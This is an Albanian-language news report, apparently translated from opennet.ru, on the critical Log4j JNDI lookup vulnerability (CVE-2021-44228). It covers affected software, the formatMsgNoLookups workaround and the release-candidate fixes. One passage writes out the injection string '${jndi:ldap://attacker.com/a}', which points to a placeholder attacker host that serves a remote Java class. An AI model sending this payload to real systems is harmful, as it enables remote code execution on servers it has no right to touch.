Dobësia katastrofike në Apache Log4j që prek shumë projekte Java

Në Apache Log4j, një kornizë popullore për organizimin e regjistrimit në aplikacionet Java, është identifikuar një dobësi kritike që lejon ekzekutimin e kodit arbitrar kur një vlerë e formatuar posaçërisht në formatin "{jndi:URL}" shkruhet në regjistër. Sulmi mund të kryhet në aplikacionet Java që regjistrojnë vlerat e marra nga burime të jashtme, për shembull, kur shfaqin vlera problematike në mesazhet e gabimit.

Vihet re se pothuajse të gjitha projektet që përdorin korniza të tilla si Apache Struts, Apache Solr, Apache Druid ose Apache Flink janë prekur nga problemi, duke përfshirë klientët dhe serverët e Steam, Apple iCloud, Minecraft. Pritet që dobësia mund të çojë në një valë sulmesh masive ndaj aplikacioneve të korporatave, duke përsëritur historinë e dobësive kritike në kornizën Apache Struts, e cila, sipas një vlerësimi të përafërt, përdoret në aplikacionet në internet nga 65% e Fortune 100 kompani. Përfshirë përpjekjet për të skanuar rrjetin për sisteme vulnerabël.

Problemi rëndohet edhe nga fakti se tashmë është publikuar një shfrytëzim pune, por ende nuk janë përpiluar rregullimet për degët e qëndrueshme. Identifikuesi CVE ende nuk është caktuar. Rregullimi përfshihet vetëm në degën e provës log4j-2.15.0-rc1. Si një zgjidhje për bllokimin e cenueshmërisë, rekomandohet të vendosni parametrin log4j2.formatMsgNoLookups në true.

Problemi u shkaktua nga fakti se log4j mbështet përpunimin e maskave speciale "{}" në linjat që dalin në regjistër, në të cilat mund të ekzekutoheshin pyetjet e JNDI (Java Emërtimi dhe Ndërfaqja e Drejtorive). Sulmi zbret në kalimin e një vargu me zëvendësimin "${jndi:ldap://attacker.com/a}", pas përpunimit të të cilit log4j do të dërgojë një kërkesë LDAP për rrugën drejt klasës Java te serveri sulmer.com . Rruga e kthyer nga serveri i sulmuesit (për shembull, http://second-stage.attacker.com/Exploit.class) do të ngarkohet dhe ekzekutohet në kontekstin e procesit aktual, i cili i lejon sulmuesit të ekzekutojë kodin arbitrar në sistemi me të drejtat e aplikacionit aktual.

Shtojca 1: Cënueshmërisë i është caktuar identifikuesi CVE-2021-44228.

Shtesa 2: Është identifikuar një mënyrë për të anashkaluar mbrojtjen e shtuar nga lëshimi log4j-2.15.0-rc1. Një përditësim i ri, log4j-2.15.0-rc2, është propozuar me mbrojtje më të plotë kundër cenueshmërisë. Kodi thekson ndryshimin që lidhet me mungesën e një përfundimi jonormal në rastin e përdorimit të një URL JNDI të formatuar gabimisht.

Burimi: opennet.ru

Shto një koment